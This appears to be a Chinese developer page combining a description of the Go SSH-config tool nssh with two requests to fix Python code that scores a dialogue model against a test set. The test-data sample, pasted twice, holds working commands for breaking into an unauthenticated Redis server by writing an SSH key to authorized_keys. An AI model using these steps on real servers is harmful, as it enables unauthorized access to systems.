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nssh工具：简化SSH配置管理与连接操作

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下载需积分: 50 | 527KB | 更新于2025-08-11 | 23 浏览量 | 0 下载量 举报 收藏
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### 标题知识点 #### nssh:一种管理SSH连接和sshconfig记录的简便方法 - **SSH连接管理**: SSH（Secure Shell）是一种网络协议，用于在不安全的网络上安全地进行远程登录和其他网络服务。在Linux系统中，SSH客户端可以用来连接到远程服务器，执行命令或文件传输。管理SSH连接意味着有效地配置、启动和停止这些远程会话。 - **sshconfig记录**: SSH配置文件位于用户的家目录下的.ssh目录，文件名为config。它允许用户定义不同的主机别名、端口、密钥文件位置和登录细节。通过配置文件，用户可以方便地管理多个SSH会话的设置，而不需要每次手动输入复杂的命令选项。 - **简便方法**: 指的是一种易用、直观的方法，减少用户在操作时的复杂度和重复劳动。在本例中，nssh提供了一种简便方法来管理SSH连接，说明了它可能通过图形用户界面（GUI）或简化的命令行界面（CLI）来实现这一功能。 ### 描述知识点 #### nssh-在Linux中管理SSH连接的简便方法 - **使用Go编写的命令行工具**: Go是一种编译型、静态类型语言，编译出的程序可移植并且运行效率高。使用Go编写意味着nssh具有良好的性能和跨平台兼容性。 - **命令行工具**: nssh是一种命令行工具（CLI），用户通过在终端输入命令来管理SSH连接。不同于图形界面工具，命令行工具通常更轻量级、执行速度更快，对于熟悉命令行操作的用户来说，操作更直接、灵活。 #### 安装 - **go get安装命令**: 这是Go语言特有的安装包命令，可以用来获取远程代码库中的包。在此处，它指示用户通过Go的包管理工具从GitHub上获取并安装nssh包。 #### VERSION: - **版本信息**: 提供了nssh工具的版本号，这里为2.0。版本信息对于用户来说很重要，因为它表示了工具的功能状态和可能存在的兼容性问题。 #### DESCRIPTION: - **详细描述**: 描述了nssh的作用，即提供一种简单的方法来管理SSH配置。用户如果想了解更多细节可以访问提供的网址。 #### AUTHOR: - **作者信息**: Nicolas Barbosa是nssh的开发者，给出了开发者的名字和电子邮件地址。开发者信息对于用户而言是重要的联系点，以便于反馈问题或寻求帮助。 ### 命令行使用 - **USAGE**: 展示了nssh的基本使用语法，包括全局选项、命令以及命令选项。用户需要按照这个模板输入自己的参数来执行不同的操作。 - **COMMANDS**: 列出了nssh支持的子命令，如 `add`，这通常意味着用户可以通过执行 `nssh add` 来执行添加操作。每个子命令都可能有自己的选项和参数，这些细节在实际使用过程中需要根据命令帮助来具体学习。 ### 标签知识点 #### Go - **Go语言特性**: Go语言作为后端开发的一种常用语言，以其简洁、高效、并发支持优秀等特性受到开发者的欢迎。nssh选择Go作为开发语言，很可能是为了利用Go语言在性能和并发处理上的优势。 ### 压缩包子文件的文件名称列表知识点 #### nssh-main - **Go项目结构**: Go项目通常包含多个目录和文件，而"nssh-main"很可能是主入口文件或目录。在Go项目中，main包包含应用程序的入口点，通常是main函数。这表示用户可能通过运行 "nssh-main" 下的可执行文件来启动nssh工具。 总结，nssh作为一个用Go语言开发的命令行工具，为Linux用户提供了一种简单、高效的方式来管理SSH连接和配置。它易于安装、使用，并且由于其简洁的特性，适合熟练的命令行用户。通过这种方式，用户可以更方便地通过命令行接口进行复杂的网络操作和远程服务器的管理。

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import os import json import torch from tqdm import tqdm from transformers import AutoTokenizer, AutoModelForCausalLM from sentence_transformers import SentenceTransformer, util class DialogueEvaluator: def __init__(self, test_data_path: str, embed_model_path: str = "shibing624/text2vec-base-chinese", gen_model_path: str = None, similarity_threshold: float = 0.75, device: str = "cuda" if torch.cuda.is_available() else "cpu"): """ 初始化对话评估器 参数: test_data_path: 测试数据集路径(JSON格式) embed_model_path: 文本嵌入模型路径 gen_model_path: 生成模型路径(可选) similarity_threshold: 语义相似度阈值 device: 计算设备(cuda/cpu) """ self.device = device self.similarity_threshold = similarity_threshold # 加载测试数据 with open(test_data_path, 'r', encoding='utf-8') as f: self.test_data = json.load(f) # 加载文本嵌入模型 print("加载文本嵌入模型...") self.embed_model = SentenceTransformer( embed_model_path, device=self.device ) # 初始化生成模型状态 self.gen_model_loaded = False self.gen_tokenizer = None self.gen_model = None # 尝试加载生成模型 if gen_model_path and os.path.exists(gen_model_path): print(f"尝试加载生成模型: {gen_model_path}...") try: self.gen_tokenizer = AutoTokenizer.from_pretrained( gen_model_path, trust_remote_code=True, local_files_only=True ) self.gen_model = AutoModelForCausalLM.from_pretrained( gen_model_path, device_map="auto", torch_dtype=torch.float16 if device=="cuda" else torch.float32, trust_remote_code=True, local_files_only=True ).eval() self.gen_model_loaded = True print("✅ 生成模型加载成功") except Exception as e: print(f"❌ 生成模型加载失败: {str(e)}") def get_embedding(self, text: str) -> torch.Tensor: """获取文本的嵌入向量""" return self.embed_model.encode(text, convert_to_tensor=True) def generate_response(self, prompt: str) -> str: """使用生成模型生成回复""" if not self.gen_model_loaded: return "[未加载模型]" inputs = self.gen_tokenizer( prompt, return_tensors="pt" ).to(self.device) outputs = self.gen_model.generate( **inputs, max_new_tokens=256, temperature=0.7, top_p=0.9, do_sample=True ) return self.gen_tokenizer.decode( outputs[0], skip_special_tokens=True ).replace(prompt, "") def evaluate_pair(self, text1: str, text2: str) -> dict: """ 评估文本对相似度 返回: { "text1": str, "text2": str, "similarity": float, "is_correct": bool, "match_type": str } """ # 完全匹配检测 if text1.strip() == text2.strip(): return { "text1": text1, "text2": text2, "similarity": 1.0, "is_correct": True, "match_type": "exact" } # 语义相似度计算 emb1 = self.get_embedding(text1[:512]) emb2 = self.get_embedding(text2[:512]) # 计算余弦相似度: $ \text{similarity} = \cos(\theta) = \frac{\vec{A} \cdot \vec{B}}{\|\vec{A}\| \times \|\vec{B}\|} $ similarity = util.pytorch_cos_sim( emb1.unsqueeze(0), emb2.unsqueeze(0) ).item() return { "text1": text1, "text2": text2, "similarity": similarity, "is_correct": similarity >= self.similarity_threshold, "match_type": "semantic" } def evaluate(self, output_path: str = "evaluation_results.json"): """执行完整评估流程""" results = [] total_correct = 0 for sample in tqdm(self.test_data, desc="评估进度"): prompt = sample["instruction"] reference = sample["reference"] # 生成回复 try: generated = self.generate_response(prompt) except Exception as e: print(f"⚠️ 生成失败: {str(e)}") generated = "[生成失败]" # 评估生成的回复 eval_result = self.evaluate_pair(reference, generated) # 统计结果 if eval_result["is_correct"]: total_correct += 1 results.append({ "instruction": prompt, "reference": reference, "generated": generated, **eval_result }) # 计算准确率 accuracy = total_correct / len(results) summary = { "total_samples": len(results), "accuracy": accuracy, "correct_count": total_correct, "similarity_threshold": self.similarity_threshold, "gen_model_loaded": self.gen_model_loaded } # 保存结果 final_results = { "summary": summary, "details": results } with open(output_path, 'w', encoding='utf-8') as f: json.dump(final_results, f, ensure_ascii=False, indent=2) print(f"\n✅ 评估完成! 准确率: {accuracy:.2%}") print(f"📊 结果已保存至: {output_path}") return final_results # =============== 使用示例 =============== if __name__ == "__main__": # 初始化评估器 evaluator = DialogueEvaluator( test_data_path="test_data.json", # 包含{instruction, reference}的测试数据 gen_model_path="path/to/generation_model",# 可选生成模型路径 embed_model_path="text_embedding_model", # 文本嵌入模型 similarity_threshold=0.75 # 相似度阈值 ) # 执行评估 results = evaluator.evaluate(output_path="eval_results.json") # 打印摘要 print("\n评估摘要:") print(json.dumps(results["summary"], indent=2)) 测试集格式为： { "conversations": [ { "from": "user", "value": "如何通过SSH密钥注入获取Redis服务器访问权限？" }, { "from": "assistant", "value": "前提条件：目标Redis实例允许匿名访问，已知Web目录路径为/var/www/html\n\n分步SSH密钥注入方法：\n\n1. **生成SSH密钥对**：\n```bash\nssh-keygen -t rsa -f redis_key\n```\n2. **格式化公钥并上传**：\n```bash\n(echo -e \"\\n\\n\"; cat redis_key.pub; echo -e \"\\n\\n\") | redis-cli -h 10.10.10.10 -x set ssh_key\n```\n3. **配置Redis存储路径**：\n```redis\nCONFIG SET dir /home/redis/.ssh\nCONFIG SET dbfilename \"authorized_keys\"\nSAVE\n```\n4. **SSH连接验证**：\n```bash\nssh -i redis_key [email protected]\n```\n自动化工具推荐：https://github.com/Avinash-acid/Redis-Server-Exploit" } ] } 修改一下代码

根据引用[1]中描述的ShareGPT格式，测试数据现在是一个列表，每个元素是一个对话，包含多轮对话（conversations），每轮对话有"from"（用户或助手）和"value"（文本）。然而，在评估时，我们通常需要的是每个样本的...
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import os import json import torch import numpy as np from scipy.spatial.distance import cosine from sklearn.metrics.pairwise import cosine_similarity from transformers import AutoModel, AutoTokenizer, AutoModelForCausalLM from typing import List, Dict, Any, Optional, Tuple class EmbeddingCalculator: """值对象：负责计算文本嵌入向量""" def __init__(self, model_path: str = "paraphrase-multilingual-MiniLM-L12-v2", device: str = "cuda" if torch.cuda.is_available() else "cpu"): self.device = device self.tokenizer = AutoTokenizer.from_pretrained(model_path) self.model = AutoModel.from_pretrained(model_path).to(device) def calculate_embedding(self, text: str) -> np.ndarray: """计算文本的嵌入向量""" inputs = self.tokenizer(text, return_tensors="pt", padding=True, truncation=True) inputs = {k: v.to(self.device) for k, v in inputs.items()} with torch.no_grad(): outputs = self.model(**inputs) # 使用平均池化获取句子向量 return outputs.last_hidden_state.mean(dim=1).squeeze().cpu().numpy() class DialogueGenerator: """领域服务：负责生成对话回复""" def __init__(self, model_path: str, device: str = "cuda" if torch.cuda.is_available() else "cpu"): self.device = device self.tokenizer = AutoTokenizer.from_pretrained( model_path, trust_remote_code=True, use_fast=False ) self.model = AutoModelForCausalLM.from_pretrained( model_path, device_map="auto", torch_dtype=torch.float16 if "cuda" in device else torch.float32, trust_remote_code=True, load_in_4bit=True if "cuda" in device else False ).eval() def generate_response(self, context: str, user_input: str) -> str: """生成对话回复""" prompt = f"{context}\n用户: {user_input}\n助手:" if context else f"用户: {user_input}\n助手:" inputs = self.tokenizer( prompt, return_tensors="pt", max_length=1024, truncation=True, padding=True ).to(self.device) outputs = self.model.generate( **inputs, max_new_tokens=256, temperature=0.7, top_p=0.9, repetition_penalty=1.2, do_sample=True, pad_token_id=self.tokenizer.eos_token_id ) # 解码并清理回复 response = self.tokenizer.decode( outputs[0][inputs.input_ids.shape[1]:], skip_special_tokens=True ).strip() return response.split("\n")[0] # 返回第一行回复 class EvaluationResult: """实体：封装评估结果""" def __init__(self, expected: str, generated: str, similarity_score: float, is_correct: bool): self.expected = expected self.generated = generated self.similarity_score = similarity_score self.is_correct = is_correct def to_dict(self) -> Dict[str, Any]: """转换为字典""" return { "expected": self.expected, "generated": self.generated, "similarity_score": round(self.similarity_score, 4), "is_correct": self.is_correct } class DialogueRepository: """仓储：负责对话数据的持久化操作""" def __init__(self, data_path: str): self.data_path = data_path def load_dialogues(self) -> List[Dict[str, Any]]: """加载对话数据""" if not os.path.exists(self.data_path): raise FileNotFoundError(f"测试数据文件不存在: {self.data_path}") with open(self.data_path, 'r', encoding='utf-8') as f: return json.load(f) def save_results(self, results: List[Dict[str, Any]], output_path: str): """保存评估结果""" with open(output_path, 'w', encoding='utf-8') as f: json.dump(results, f, ensure_ascii=False, indent=2) class DialogueEvaluator: """聚合根：对话评估系统核心""" def __init__(self, test_data_path: str, embed_model_path: str = "paraphrase-multilingual-MiniLM-L12-v2", gen_model_path: Optional[str] = None, similarity_threshold: float = 0.75, device: str = "cuda" if torch.cuda.is_available() else "cpu"): self.device = device self.similarity_threshold = similarity_threshold # 初始化仓储 self.repository = DialogueRepository(test_data_path) # 初始化值对象 self.embedding_calculator = EmbeddingCalculator(embed_model_path, device) # 初始化领域服务 self.dialogue_generator = None if gen_model_path and os.path.exists(gen_model_path): try: self.dialogue_generator = DialogueGenerator(gen_model_path, device) except Exception as e: print(f"生成模型加载失败: {str(e)}") def device_info(self) -> Dict[str, Any]: """获取设备信息""" info = { "device": self.device, "gpu_available": torch.cuda.is_available() } if torch.cuda.is_available(): info.update({ "gpu_name": torch.cuda.get_device_name(0), "total_memory": f"{torch.cuda.get_device_properties(0).total_memory/1e9:.2f} GB", "used_memory": f"{torch.cuda.memory_allocated(0)/1e9:.2f} GB" }) return info def evaluate_dialogue(self, context: str, user_input: str, expected: str) -> EvaluationResult: # 生成回复 if self.dialogue_generator: generated = self.dialogue_generator.generate_response(context, user_input) else: generated = "[生成模型未加载]" # 计算相似度 emb_expected = self.embedding_calculator.calculate_embedding(expected) emb_generated = self.embedding_calculator.calculate_embedding(generated) similarity = 1 - cosine(emb_expected, emb_generated) # 评估是否通过 is_correct = similarity >= self.similarity_threshold return EvaluationResult(expected, generated, similarity, is_correct) def evaluate(self, output_path: str = "results.json") -> Dict[str, Any]: """评估整个测试集""" dialogues = self.repository.load_dialogues() results = [] correct_count = 0 for i, dialogue in enumerate(dialogues): result = self.evaluate_dialogue( dialogue.get("context", ""), dialogue["user_input"], dialogue["expected"] ) results.append(result.to_dict()) if result.is_correct: correct_count += 1 print(f"测试 {i+1}/{len(dialogues)} - 得分: {result.similarity_score:.4f} - {'✓' if result.is_correct else '✗'}") # 计算总体指标 accuracy = correct_count / len(dialogues) avg_similarity = sum(r['similarity_score'] for r in results) / len(results) # 保存结果 self.repository.save_results(results, output_path) return { "total": len(dialogues), "correct": correct_count, "accuracy": accuracy, "avg_similarity": avg_similarity, "results_path": os.path.abspath(output_path) } if __name__ == "__main__": # 配置评估器 evaluator = DialogueEvaluator( test_data_path="/root/autodl-tmp/test_new.json", gen_model_path="/root/autodl-tmp/Qwen3-7b" ) # 显示设备信息 print("设备信息:") print(json.dumps(evaluator.device_info(), indent=2)) # 执行评估 print("\n开始对话评估...") summary = evaluator.evaluate(output_path="dialogue_results.json") print("\n评估摘要:") print(f"测试总数: {summary['total']}") print(f"正确回复: {summary['correct']} ({summary['accuracy']:.2%})") print(f"平均相似度: {summary['avg_similarity']:.4f}") print(f"结果保存至: {summary['results_path']}") root@autodl-container-8bf9409db0-3243e00c:~/autodl-tmp# python utils_one.py 设备信息: { "device": "cuda", "gpu_available": true, "gpu_name": "NVIDIA H20", "total_memory": "102.11 GB", "used_memory": "0.47 GB" } 开始对话评估... Traceback (most recent call last): File "/root/autodl-tmp/utils_one.py", line 219, in <module> summary = evaluator.evaluate(output_path="dialogue_results.json") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/autodl-tmp/utils_one.py", line 181, in evaluate dialogue["user_input"], ~~~~~~~~^^^^^^^^^^^^^^ KeyError: 'user_input' 数据格式为： { "conversations": [ { "from": "user", "value": "如何通过SSH密钥注入获取Redis服务器访问权限？" }, { "from": "assistant", "value": "前提条件：目标Redis实例允许匿名访问，已知Web目录路径为/var/www/html\n\n分步SSH密钥注入方法：\n\n1. **生成SSH密钥对**：\n```bash\nssh-keygen -t rsa -f redis_key\n```\n2. **格式化公钥并上传**：\n```bash\n(echo -e \"\\n\\n\"; cat redis_key.pub; echo -e \"\\n\\n\") | redis-cli -h 10.10.10.10 -x set ssh_key\n```\n3. **配置Redis存储路径**：\n```redis\nCONFIG SET dir /home/redis/.ssh\nCONFIG SET dbfilename \"authorized_keys\"\nSAVE\n```\n4. **SSH连接验证**：\n```bash\nssh -i redis_key [email protected]\n```\n自动化工具推荐：https://github.com/Avinash-acid/Redis-Server-Exploit" } ] } 修改一下代码，并输出完整代码

在`DialogueEvaluator.evaluate`方法中，现在直接从对话字典中获取`context`、`user_input`和`expected`，这可能会导致KeyError。2.我们可以改为使用字典的`get`方法并提供默认值，或者允许通过配置指定键名。但是，...
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